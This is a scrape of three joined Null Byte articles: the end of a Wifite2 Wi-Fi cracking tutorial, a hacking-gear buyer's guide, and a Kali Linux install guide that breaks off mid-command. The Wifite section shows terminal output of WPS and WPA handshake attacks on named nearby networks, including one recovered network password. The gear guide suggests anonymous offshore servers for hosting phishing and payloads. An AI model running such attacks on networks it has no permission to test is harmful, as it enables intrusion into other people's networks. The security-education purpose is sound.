hs/handshake_TheDailyPlanet_78-96-84-00-B5-B0_2018-12-24T00-33-18.cap [+] analysis of captured handshake file: [+] tshark: .cap file contains a valid handshake for 78:96:84:00:b5:b0 [!] pyrit: .cap file does not contain a valid handshake [+] cowpatty: .cap file contains a valid handshake for (The Daily Planet) [+] aircrack: .cap file contains a valid handshake for 78:96:84:00:B5:B0 [+] Cracking WPA Handshake: Using aircrack-ng via common.txt wordlist [!] Failed to crack handshake: common.txt did not contain password [+] Finished attacking 1 target(s), exitingWhile we didn't have a better result with Bully, trying both is a good way of figuring out which your wireless network adapter works best with.Step 6: Skip & Examine ResultsIf Wifite2 is taking too long on any particular attack, we can always skip the current attack by pressingCtrl-Cto bring up a menu that asks if we'd like to continue. Here, you can skip to the next attack by pressingc, or typesto stop Wifite2.[+] SBG6580E8 (47db) WPS Pixie-Dust: [4m52s] Trying PIN 12523146 (DeAuth:Timeout) (Timeouts:15) [!] interrupted [+] 1 attack(s) remain, do you want to continue? [+] type c to continue or s to stop:If we're only able to get a four-way handshake, then we may want to add acustom dictionary list of password guessesto try and crack the handshake. We can do this by setting the--dictflag to set the file containing passwords for cracking, the default being set to /usr/share/wordlists/fern-wifi/common.txt. This password list contains many common passwords, but you'll want to use your own if you're serious about getting results.Below, we successfully decrypt a captured handshake by using a custom dictionary "passwords.txt."wifite -wpa --dict ./passwords.txt . . .´ · . . · `. wifite 2.1.6 : : : (¯) : : : automated wireless auditor `. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2 ` /¯¯¯\ ´ [+] option: using wordlist ./passwords.txt to crack WPA handshakes [+] option: targeting WPA-encrypted networks [!] conflicting process: NetworkManager (PID 419) [!] conflicting process: wpa_supplicant (PID 585) [!] conflicting process: dhclient (PID 7902) [!] if you have problems: kill -9 PID or re-run wifite with --kill) [+] looking for wireless interfaces using interface wlan0mon (already in monitor mode) you can specify the wireless interface using -i wlan0 NUM ESSID CH ENCR POWER WPS? CLIENT --- ------------------------- --- ---- ----- ---- ------ 1 Suicidegirls 11 WPA 58db n/a 2 Bourgeois Pig Guest 11 WPA 56db n/a 3 BPnet 11 WPA 56db n/a 4 The Daily Planet 1 WPA 49db n/a 1 5 SBG6580E8 1 WPA 49db n/a 6 Hyla Hair 2.4G 8 WPA 48db n/a 7 TWCWiFi-Passpoint 1 WPA 46db n/a 8 HP-Print-B9-Officejet... 1 WPA 40db n/a 9 birds-Wireless 2 WPA 39db n/a 10 SpanishWiFi 11 WPA 38db n/a [!] Airodump exited unexpectedly (Code: 0) Command: airodump-ng wlan0mon -a -w /tmp/wifitei_l5H1/airodump --write-interval 1 --output-format pcap,csv [+] select target(s) (1-10) separated by commas, dashes or all: 2 [+] (1/1) starting attacks against DE:F2:86:EC:CA:A0 (Bourgeois Pig Guest ) [+] Bourgeois Pig Guest (57db) WPA Handshake capture: Discovered new client: F0:D5:BF:BD:D5:2B [+] Bourgeois Pig Guest (58db) WPA Handshake capture: Discovered new client: 6C:8D:C1:A8:E4:E9 [+] Bourgeois Pig Guest (59db) WPA Handshake capture: Listening. (clients:2, deauth:14s, timeout:8m1s) [+] successfully captured handshake [+] saving copy of handshake to hs/handshake_BourgeoisPigGuest_DE-F2-86-EC-CA-A0_2018-12-24T01-40-28.cap saved [+] analysis of captured handshake file: [+] tshark: .cap file contains a valid handshake for de:f2:86:ec:ca:a0 [!] pyrit: .cap file does not contain a valid handshake [+] cowpatty: .cap file contains a valid handshake for (Bourgeois Pig Guest ) [+] aircrack: .cap file contains a valid handshake for DE:F2:86:EC:CA:A0 [+] Cracking WPA Handshake: Using aircrack-ng via passwords.txt wordlist [+] Cracking WPA Handshake: 100.00% ETA: 0s @ 2234.0kps (current key: christmasham) [+] Cracked WPA Handshake PSK: christmasham [+] Access Point Name: Bourgeois Pig Guest [+] Access Point BSSID: DE:F2:86:EC:CA:A0 [+] Encryption: WPA [+] Handshake File: hs/handshake_BourgeoisPigGuest_DE-F2-86-EC-CA-A0_2018-12-24T01-40-28.cap [+] PSK (password): christmasham [+] saved crack result to cracked.txt (1 total) [+] Finished attacking 1 target(s), exitingBy adding a good password file, we can improve our chances of cracking a Wi-Fi network password even if the faster WPS attacks fail.Some Practical Warnings & DefensesWifite2 is an example of how even script kiddies can be effective against networks with common vulnerabilities like WPS setup PINs and weak passwords. With an increasing amount of the more advanced attacks becoming automated, it's critical that you learn about the most common and effective ways of attacking a Wi-Fi network.In general, the best way to defend your network from tools like Wifite2 is to make sure you have WPS disabled and picka very strong passwordfor your Wi-Fi network that you don't share with anyone you don't need to.It's important to note that by selecting "all" in a target list, Wifite2 will attack all of the networks it has detected, not just the ones you have permission to attack. You must have permission to use this tool on any network you attack, as attacking a network belonging to someone else without permission is a crime and can get you in a lot of trouble. Saying the script did it isn't an excuse if you're caught attacking an important network, so be sure to keep Wifite2 targeted on networks you have permission to audit.I hope you enjoyed this guide to automating Wi-Fi hacking with Wifite2! If you have any questions about this tutorial on Wi-Fi hacking tools or you have a comment, feel free to write it below in the comments or reach me on [email protected]'t Miss:Use MDK3 for Advanced Wi-Fi JammingFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null ByteRelatedHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Share Wi-Fi Adapters Across a Network with Airserv-NgNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3WiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:Recover a Lost WiFi Password from Any DeviceHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Share Your Wi-Fi Password with a QR Code in Android 10News:iOS 11.2 Beta 3 Released, Includes Pop-Up Alerts for Wi-Fi & Bluetooth Controls, New Control Center BarHow To:Hack Wi-Fi Networks with BettercapHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsNews:Apple Releases iOS 12.0.1 to Address Wi-Fi & Charging Issues on iPhonesHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:What All the Bluetooth & Wi-Fi Symbols Mean in iOS 11's New Control Center (Blue, Gray, or Crossed Out)How to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:FaceTime Forcing LTE Instead of Wi-Fi? Here's How to Fix ItHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:You No Longer Have to Open Settings to Switch & Connect to Wi-Fi on Your iPhone (FINALLY!)
Hacking Gear: 10 Essential Gadgets Every Hacker Should Try « Null Byte :: WonderHowTo
If you've grown bored of day-to-day hacking and need a new toy to experiment with, we've compiled a list of gadgets to help you take password cracking and wireless hacking to the next level. If you're not a white hat or pentester yourself but have one to shop for, whether for a birthday, Christmas present, or other gift-giving reason, these also make great gift ideas.Some items featured in this article may not appeal to every penetration tester. As hackers, we each develop our own areas of expertise and interests.Wi-Fi enthusiasts might appreciate the below antenna as it's capable of capturing keystrokes over-the-air similar to how WPA2 handshakes are captured. Others with an interest in quadcopters might enjoy the featured drones for their ability to fly 1–2 miles away without losing a signal and carry attached hardware such as the Wi-Fi Pineapple and Raspberry Pi.1. Mousejacking Exploit AntennaIn 2016, the security firmBastillemadeheadlineswhen it reported its research on wireless keyboard and mouse vulnerabilities. Dubbed "mousehacking," these vulnerabilities allow an attacker (up to 300 feet away) to take control of a target computer without needing physical access. These attacks allow for remote keystroke injections by letting penetration testers anonymously pair their device to a target computer that is using popular wireless keyboard adapters (shown below).Image by Bastille/YouTubeThis attack is made possible due to keyboard vendors (Logitech and Dell) failing to encrypt data transmissions between the keyboard and USB adapter or failing to properly authenticate devices communicating with the adapter. It's been over two years since the vulnerabilities were disclosed but there are reportedly more than a billion affected devices worldwide as Logitech and Dell are extremely popular manufactures of wireless keyboards.For more information on this attack, check out Bastille's official website for alist of affected devicesandtechnical details.The "Crazyradio USB Dongle" used in these attacks is a 2.4 GHz bi-directional transceiver which can send and receive radio telemetry. Essentially, this USB dongle is capable of observing, recording, and injecting wireless radio waves.Crazyradio USB Dongle - MSRP $44.99 (Amazon)Image by Bastille/YouTube2. GPUs for Password CrackingAgraphics processor(GPU) is chip, usually embedded in an internal graphics card attached to a computer's motherboard, designed to efficiently process images and alter memory insmartphones, personal computers, and gaming consoles. GPUs are responsible for all of the video and image rendering on our electronic devices.Hackers repurpose GPU technologies and build dedicated "cracking rigs" to enhance password brute-forcing attacks withHashcat. This kind of usage is demonstrated in Tokyoneon's "Hack 200 Online User Accounts in Less Than 2 Hours" article, where he compromised hundreds of Twitter, Facebook, and Reddit accounts by using a GPU to crack hashes found in aleaked password database.GeForcegraphics cards are a great starting point for hackers who are considering building a dedicated brute-force machine. At just $189, theGeForce GTX 1050 Tiis a good starter GPU.EVGA GeForce GTX 1050 Ti - MSRP $219.99 (Amazon|Best Buy|EVGA|Walmart)TheZOTAC GTX 1050 Ti MiniandMSI GTX 1050 Ti OC.Image by Linus Tech Tips/YouTubeIf you're looking to take cracking more seriously, develop acluster of GPUsto multiply brute-forcing power with theGTX 1080 Ti. The GTX 1080 will becapableof cracking tens of millions more hashes per second and therefore might be a better investment. This model has been superseded by theRTX 2080 Ti, so you could also go that way if you can afford it.EVGA GeForce GTX 1080 Ti - $899.99 & Up (Amazon)TheNvidia GEFORCE GTX 1080 Ti Founder's Edition.Image by Linus Tech Tips/YouTube3. The World's Smallest LaptopsTheGPD Pockethas been dubbed "the world's smallest laptop," which is an interesting option for white hats and pentesters always on the go. It features the Intel Atom X7, 1920 x 1080 resolution, and 8 GB of RAM packed into a small-sized laptop that's only a bit larger than most modern smartphones (shown below).GPD Pocket - MSRP $599 (Amazon|eBay|GPD|Walmart)Image by Chigz Tech Reviews/YouTubePocket-sized PCs are growing in popularity due to their small size, physical keyboards, ability to handle high-performance games, and Intel CPUs which are superior to ones found inRaspberry Pisandsmartphones.Pentesters can easily install avariety of Linux operating systemson this device includingUbuntu,Kali Linux, andBlackArchin place of the default Windows 10.If you're looking for a bit more power in a slimmer laptop, the latestGPD Pocket 2features better hardware specs and is 50% thinner than the previous model.GPD Pocket 2 - $799 (Amazon|GPD|Indiegogo)Image by Liliputing/YouTube4. The Latest Raspberry PiThe Raspberry Pi 3 Model B+ was released this year featuring a slightly faster CPU, upgraded Wi-Fi and Ethernet modules, and can be powered without a traditional power adapter using the Ethernet port (with aPoE HAT).Null Byte has covered how tobuild a hacking Raspberry Pi,use VNC to remotely access it, andcreate a portable pentesting Pi box, to name just a few tutorials. Using a Raspberry Pi as a hacking tool has been covered at length, so I'll move on.Raspberry Pi 3 B+ - MSRP $35 (Amazon|Walmart)With power supply - MSRP $47.95 (Amazon)With power supply and case - MSRP $54.99 (Amazon)With power supply, case, 16 GB SD card, etc. - MSRP $74.95 (Amazon)With power supply, case, 32 GB SD card, etc. - MSRP $79.95 (Amazon)With power supply, case, 32 GB SD card, cables, etc. - MSRP $94.95 (Amazon)Image by Kody/Null Byte5. The USBarmoryTheUSB Armoryis a computer about the size of a USB flash drive designed to deliver a number of advanced security features. It was built to support the development of several security software and applications while reducing power consumption. As perthe developer's keynote at FSec 2016, the USB Armory can be used for:file storage with advanced features such as automatic encryption, virus scanning, host authentication, and data self-destructOpenSSH client and agent for untrusted hostsrouter for end-to-end VPN tunnelingpassword manager with an integrated web serverelectronic wallet (e.g., Bitcoin wallet)authentication tokenportable penetration testing platformlow-level USB security testingIt also has excellent support forUbuntu, Debian, andAndroidoperating systems. For an in-depth look at the USB Armory, check out theofficial websiteanddocumentation.Inverse USB Armory - MSRP $140 (Amazon|Crowd Supply|Hacker Warehouse)Image by Inverse Path/Crowd Supply6. VPS SubscriptionsAvirtual private server(VPS) is a computer we can control remotely from any internet-connected device in the world. Adding a reliable VPS subscription to your arsenal is essential to any penetration tester and professional security researcher. From a remote VPS, penetrations testers can:host payloads forhacking macOSandWindows 10securely sync filescreate IRC botshost phishing websitesperform password brute-force reuse attackshost USB drop payloadsuse advanced Nmap scriptscreate server proxiescreate onion websiteshost Metasploit sessionsOur favorite for white hats and pentesters isBulletShieldsince it does not require or request any personal info when registering or paying, offers offshore solutions, and has a Tor-friendly website, among other things. Check out the full guide to picking the right VPN below for more info.More Info:The White Hat's Guide to Choosing a Virtual Private Server7. Hak5 GearHak5is anaward-winning podcastthat offers immersive information security training and renownedpenetration testing gear. Below are some of the excellent tools Hak5 has to offer.The USB Rubber DuckyTheUSB Rubber Duckyis Hak5's USB keystroke injection tool capable of executing payloads at over 1,000 words per minute. It can be used tohack a macOS device in less than 5 seconds,disable antivirus software, orsocial engineer someone into plugging it into their computer.USB Rubber Ducky - MSPR $44.99 (Hak5)Image by SADMIN/Null ByteBash BunnyTheBash Bunnyis a multi-functional USB attack tool similar to the USB Rubber Ducky. However, the Bash Bunny is a full-featured Linux operating system which gives it a number of advantages over the USB Rubber Ducky such as carrying multiple advanced payloads, emulating a combination of devices, and performing numerous advanced attacks. Penetration testers with a need to take their physical attacks to the next level will appreciate this one.Bash Bunny - MSRP $99.99 (Hak5)Image by Hak5/YouTubePacket SquirrelThePacket Squirrelis a pocket-sized man-in-the-middle attack tool designed for covert packet capturing and secure remote access to target networks. Ports on this small network implant include a USB and Ethernet.Packet Squirrel - MSRP $59.99 (Hak5)Image via Hak5LAN TurtleTheLAN Turtleis a covert penetration testing tool great for network intelligence gathering, advanced surveillance, and man-in-the-middle attacks all available via a graphical shell. It ships equipped with SIM (3G) functionalities and a modular framework that allows hackers to very easily execute and automate advanced network attacks.LAN Turtle - MSRP $59.99 (Hak5)Image by Hak5/YouTubeWiFi PineapplesTheWiFi PineappleandWiFi Pineapple Nanoare excellentrogue access pointandWi-Fi auditing devices. Their suite of Wi-Fi auditing tools is designed to make reconnaissance, man-in-the-middle attacks, and hacking wireless networks quick and painless. Best of all, all of these features can be accessed using any phone or web browser via the easy-to-use graphical interface.WiFi Pineapple Tetra Basic - MSRP $199.99 (Hak5)WiFi Pineapple Nano - MSRP $99.99 (Hak5)WiFi Pineapple Terta Tactical - MSRP $299.99 (Hak5)WiFi Pineapple Nano Tactical - MSRP $129.99 (Hak5)Image by Hak5/YouTube8. Standard Wi-Fi Hacking AdapterWi-Fi hackingis a popular topic among penetration testers. Our ability tocompromise wireless networkswith ease is an essential skill. So a wireless adapter is something you can't do without, preferably one that'sKali-compatible. Some choices that are worth looking into include:ALFA AWUS036NHA - $39.99 (Amazon)ALFA AWHUS036NH - $34.99 (Amazon)ALFA AWUS036NEH - $31.45 (Amazon)Panda PAU05 - $13.99 (Amazon)TP-Link TL-WN722N v1 - $9.99 (Amazon)For more information, check out our Null Byte guide on choosing a wireless network adapter to see more options that are available for your specific needs.More Info:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018TheALFA AWHUS036NH.Image by SADMIN/Null Byte9. Long-Range Wi-Fi Hacking AntennaIf standard Wi-Fi hacking antennas aren't getting the job done, increasing the signal coverage and range with a bigger antenna will allow us to compromise routers much further away.TheTupavco TP512 Yagi Wi-Fi Directional Antennahas customer reviews reporting up to 300 feet of range. Some reports online claim up to 1 mile of range where an unobstructed line of sight to the target router is permitted. There are other vendors selling similarYagiproducts and bundles. For example,ALFA's Yagi Antennaincludes an ALFA hacking chipset and the necessary cable adapter.Tupavco TP512 Yagi - $25 (Amazon)ALFA Yagi Antenna - $91 (Amazon)Image by ALFA/Amazon10. Hacking with DronesWithdrone racingrising in popularity over the last few years, these small quadcopters are quickly becoming the DIY-hackers gadget of choice.Project Cuckoois theWatch Dogs-inspired pentesting drone, created by the hacker known as "Glytch." This 3D-printed drone features an attached WiFi Pineapple Nano which allows it toperform man-in-the-middle attacks and inject malicious JavaScript into Wi-Fi hotspotsas well asstealthfully sniff Wi-Fi activity without connecting to the router.In upcoming Null Byte articles, we'll be talking about building our own affordable hacking drone and demonstrating all of the unique scenarios penetration testers can utilize with such devices.3D printers on Amazon(of decent quality) start at around $299. Add the price of thematerials, individual drone components, and a remote control — that's well over $500 spent building a hacking drone from scratch. If you're looking for a quicker solution or lack the patience to deal with the technical ins and outs of 3D printing and drone building, there are alternatives.TheDJI Spark Droneis a small, lightweight drone that includes a remote control for a total of $399. With up to 15 minutes of flight time, a range of up to 1.2 miles, and an attached12 MP 1080p video camera, this is possibly the best, most affordable little drone currently on the market.If your budget allows for a wider range of drones, the "DJI Mavic Drone" may be a better option. Itfeaturesa higher resolution camera, up to 2.4 miles of range, 8 GB of internal storage (for video recording), 3-axis mechanical gimbal (for improved stability), and over 20 minutes of flight time.DJI Spark Controller Combo - MSRP $399 (Amazon|Best Buy|DJI|Walmart)Mavic Air Combo - MSRP $999 (Amazon|Apple|Best Buy|DJI|Walmart)TheDJI Spark Drone.Image by Brendan Miranda/YouTubeBonus: E-Books & Learning MaterialsWhile e-books aren't physical gadgets, I thought this was worth mentioning as every penetration tester should have a healthy supply of learning resources at their disposal.Null Byte is an excellent repository for learning how to useMetasploitas well as how to hackmacOSandWindows 10. However, e-books and certification exam preparation cookbooks contain vast amounts of information. These materials are often created by veteran pentesters with over a decade of hands-on professional experience. Novice hackers who have prepared for any kind of ethical hacking exam will tell you how valuable these learning materials can be.A variety of learning materials can sometimes be found for free on websites like "All IT eBooks." While some of these e-books are several years old, they still contain relevant and useful information. Other (non-free) titles include:The Hacker Playbook 3: Practical Guide To Penetration TestingCompTIA Network+: Certification All-in-One Exam Guide, Seventh EditionCompTIA CySA+: Cybersecurity Analyst Certification All-in-One Exam GuideCEH: Certified Ethical Hacker Bundle, Third Edition (All-in-One)CompTIA PenTest+: Certification All-in-One Exam GuideCISSP: All-in-One Exam Guide, Eighth EditionHash Crack: Password Cracking ManualKali Linux Web Penetration Testing Cookbook: Identify, exploit, and prevent web application vulnerabilities with Kali, 2nd EditionWhat Are Your Picks for Essential Hacking Gear?We tried to compile a diverse list of hacking tools and gadgets intermediate penetration testers might appreciate. If you're looking to explore weaponized hacking drones, extend the range of your Wi-Fi router hacks, or dive deeper into password cracking, the featured gadgets should provide a good starting point.This list of hacker gear might not appeal to everyone, however. Did we miss any noteworthy or new gizmos hackers should know about? Be sure to leave a comment below with your picks for the essential gadgets hackers should try!Don't Miss:Null Byte's Guides to Hacking macOSFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaBrendan Miranda/YouTubeRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:Always-Updated List of Android 10 Custom ROMs for Every Major PhoneCyber Monday Deals:Get the Essential Phone for the Cheapest It's Ever BeenNews:Essential Phone Comes with an LED Notification Light — And It Better for That PriceNews:Essential Phone 2 Reportedly Canceled, Rubin Looking to SellNews:Essential Releases Oreo Beta 2 UpdateHow To:The Essential Skills to Becoming a Master HackerNews:Android Co-Founder Andy Rubin Gives Us a Sneak Peek into Essential's New Bezel-Less SmartphoneNews:The Biggest Bugs & Performance Issues in the Essential Oreo UpdateHow To:Pack the 10 most important survival essential for any trip to the wildernessFitness Lovers Alert:Get Ready for the New Adidas Workout App 'All Day', Out in Beta TodayHow To:Remove Stock Apple Apps on Your iPhoneNews:Oculus Releases Minecraft for the Samsung Gear VRNews:The Best New Features in the Essential Phone Oreo UpdateNews:PSA—iOS 10 Beta Might Eat Up All Your DataNews:Top 10 Bukkit PluginsHow To:Timehop Breach Impacts Everyone Who's Ever Used the App — Here's How to Check What Info Leaked About YouTypoGuy Explaining Anonymity:A Hackers MindsetNews:Apple Says iPhone & iCloud Are Safe After Claimed Breach by 'Turkish Crime Family'WANTED:Hackers for Bug BountiesNews:You May Need to Switch to Sprint to Get the Essential PhoneNews:White House Hacked by Russian Hackers!Advice from a Real Hacker:How to Create Stronger PasswordsNews:Essential Phone Drops Three Stunning New Colors [Photos]News:Gear 360 VR Camera Set to Accompany Galaxy S7; Announcement Date SetBuyer's Guide:Top 20 Hacker Holiday Gifts of 2018News:Oculus Demos Minecraft for Gear VR, Complete with a Side of NauseaBecome an Elite Hacker, Part 1:Getting StartedNews:Student Sentenced to 8mo. in Jail for Hacking FacebookCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingNews:TOON BUILDSCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammHow To:10 DIY Hangover Cures for Your Upcoming New Year's Eve FestivitiesNews:Galaxy S7 Preorders Open February 21st, Include Free Gear VR
How to Get Started with Kali Linux in 2020 « Null Byte :: WonderHowTo
Kali Linux has come a long way sinceits BackTrack days, and it's still widely considered the ultimate Linux distribution for penetration testing. The system has undergone quite the transformation since its old days and includes an updated look, improved performance, and some significant changes to how it's used.Offensive Security is the team behind Kali Linux, a Debian-based system. Kali is the preferred weapon of choice on Null Byte, and you can install it as your primary system (not recommended), use it with dual boot, use it in a virtual workstation, or create a portable live version on a USB flash drive.We'll be walking you through a very basic installation today, just enough to get you up and running to follow along with Null Byte guides. There are actually many things that can be done to customize the installation, but we just want the quick-and-dirty process.What's New in Kali Linux?In Kali Linux version2019.4, released at the end of 2019, Offensive Security made significant changes to how Kali looks and feels. And its2020.1update, released in January 2020, built upon the new foundation.Perhaps the most significant update is the default desktop environment, which is nowXfce, a change that was made mostly for issues related to performance. For most users, GNOME is overkill, and a lightweight desktop environment like Xfce provides lower overhead, leading to snappier and quicker performance. For all the die-hard GNOME fans out there, the previous desktop environment is still supported and even comes with an updated GTK3 theme.Other new features include the introduction of undercover mode, new public packaging and documentation processes, an update toKali NetHunter, the addition ofPowerShell, non-root users are now the default, and other bug fixes and updates.Choosing the Right Kali LinuxTo get started, navigate to kali.org and go to thedownloadspage, where you can choose from a variety of images.The images available include Kali Linux for both 64- and 32-bit architectures (via Installer), Lite editions (via NetInstaller), and Live versions, and there are links to downloads for theARM architectureandVMware and VirtualBox virtual machines. How you want to use Kali is entirely up to you.The "Installer" links are for Intel-based computers and include a copy of the default packages. You can install Kali later using them without an internet connection. These are good if Kali will be your primary OS or part of a dual-boot system. For the best performance without sacrificing your preferred primary system, dual-booting is best.The "NetInstaller" links are much smaller than the Installer ones since they don't contain copies of the packages to install. These are only recommended if you don't have enough bandwidth to download a full version, as you'll probably want to install the missing packages at a later time.The "Live" links are forrunning Kali off a USB flash driveor disc. These are good if you want a portable hacking machine to plug into any computer.The "VM" links are for installing Kalias a virtual machineon your primary system. The two virtual environments compatible are VirtualBox (free) and VMware Workstation (not free). These are good options for Null Byte readers, as you can practice hacking between systems on one computer, which can prevent you from breaking any cybersecurity laws. Keep in mind, however, that a decent amount of RAM is needed for everything to run smoothly, and to perform any wireless hacks, you'll needan external wireless adapter, one that youcan put in monitor mode, preferably.The "ARM" links are only for devices such as devices that use the ARM architecture, likePinebooks,Raspberry Pis, and theCuBox-i.Not listed are KaliNetHunterimages for mobile devices, but you can find those onOffensive Security's site. They work on a variety of Android devices, such as OnePlus, Sony Xperia, and Nexus models.If you want to run an older version of Kali, you can visitits index of older image versions. While Kali 2020.1 replaced root users with non-root users as the default, you may want to install the last 2019 version instead, which will still give you most of the newest features offered. In this guide, I'll be installing the 2019.4 version as my primary system since I want to keep the root user default.Once you've decided how you want to run Kali, click the image name to download it. You can also hit the "Torrent' link instead if that will get the job done better.Installing Kali LinuxThe process for installing Kali Linux will be different depending on what version you chose. For help on installing Kali in VirtualBox, seeour past article on using Kali in VirtualBox on a Mac; the article is slightly old, but the process is generally the same and works similarly on Windows. For help on installing Live images,the guide by Kitten, a Null Byte reader, may be of some help, as well asKali's own documentation.I've downloaded the Kali 2019.4 64-Bit Installer image and burned the ISO to a disk, and that's what I'll be showing off today. After opening the installer, the boot menu offers several options. We'll keep it simple and do the graphical install. A minimum of 20 GB disk space is recommended. But just so you know:The "Live (amd64)" option will boot you into Kali directly, but anything saved will save to RAM, not your hard drive, so when you shut down Kali, everything is lost.The "Live (amd64 failsafe)" option is the same as above, only if the host computer shuts down suddenly, your device will not be harmed. If you're troubleshooting a buggy computer, it's a good option.The "Live (forensic mode)" option is used primarily to recover files, gather evidence, etc. on a host machine. The "the internal hard disk is never touched," and "if there is a swap partition it will not be used and no internal disk will be auto mounted." Also, the auto-mounting of removable media is disabled. You can read more about it onKali's site.The "Live USB Persistence" option is for when you want to install Kali on a USB flash drive, allowing you the chance to inspect the host system without worrying about running or locked processes. Any files saved to your desktop, such as reports, logs, dumps, etc., will save to the thumb drive and will be available the next time you boot Kali. You can read more about it onKali's site.The "Live USB Encrypted Persistence" option is the same as above, only the drive is also encrypted using LUKS encryption. If you're using a Live USB, why not make it secure? You can read more about it onKali's site.The "Install" option is for installing Kali on your internal hard drive, but you'll only get the classic text-mode installer to guide you through the process.The "Graphical Install" option gives you the Kali installer with a graphical user interface, which is a little easier to follow along with. This is the one I'm using below.The "Install with speech synthesis" option is just like the Install one, only the text on the screen is also read out loud to you. This is useful if you have a hard time seeing what's on the screen.The "Advanced options" menu item contains options for the "Hardware Detection Tool" and "Memory Diagnostic Tool," which are useful for diagnostics only.Next, select language and keyboard layout options.Then, enter a hostname for the system.Then, set a password for therootuser. Remember, if you're installing 2020.1 or higher, there is no root user by default, only a non-root user, but you can set up a custom password for the user as well.Now, set the desired time zone to configure the clock:After that, we can begin to partition the disk. We'll keep it simple again and use the "Guided" method. In my case, the "user entire disk" method.Once everything is configured, the changes will be written to the disk.And the installation will begin. It may take some time to do so.A network mirror can be used to update the software during the installation. If you areconnected to a network, it usually makes sense to do so.The GRUB bootloader also needs to be installed so the operating system can boot.Finally, the installation is complete. Now we can restart the machine and boot into the new system.Once Kali boots, we'll be presented with a new login prompt, which looks much different than on Kali version 2019.3 and older. If you installed 2019.4, the credentials would be the hostname you chose and the root password you created, or the non-root user and password you created. For 2020.1 and later, "kali" and "kali" are the default standard user credentials for certain installs like in VirtualBox. (The default root user credentials used to be "root" and "toor.")Now we can see the newly redesigned desktop, which uses the Xfce environment.The icons,file system, and terminal all come with new themes. You may want to take some time to find your way around the new environment. Also, there aretools we suggest you install right awayon your Kali build, including Git, a terminal multiplexer, Tor, a code editor, and so on.More Info:Top 10 Things to Do After Installing Kali LinuxThe applications menu in the top left, depicted by the Kali icon, is where all of your tools and settings are housed. Hacking tools are categorized by topics ranging from social engineering to post-exploitation and password attacks. While the graphic user interface menu for applications is nice, you could also start any of these tools from the command-line interface in a terminal window.How the New Undercover Mode WorksKali now comes with an undercover mode, designed to look likeWindowsto the casual viewer. This is handy if you need to look less suspicious, whether in public or during a professional pentest. Simply enterkali-undercoverin the terminal to run the script and transform the environment.Even the menu and file manager are designed to look like Windows.To change back to the normal desktop environment, just enter the command in the terminal again.How PowerShell Works in the New KaliKali now includes PowerShell, making it easy to work with and execute PowerShell scripts right on the system. It can be installed with the package manager. If you're not a root user, addsudoto the beginning of the command below.~# apt install powershell Reading package lists... Done Building dependency tree Reading state information... Done ...To run it, simply enterpwshin the terminal, and we are dropped into a PowerShell prompt.~# pwsh PowerShell 6.2.3 Copyright (c) 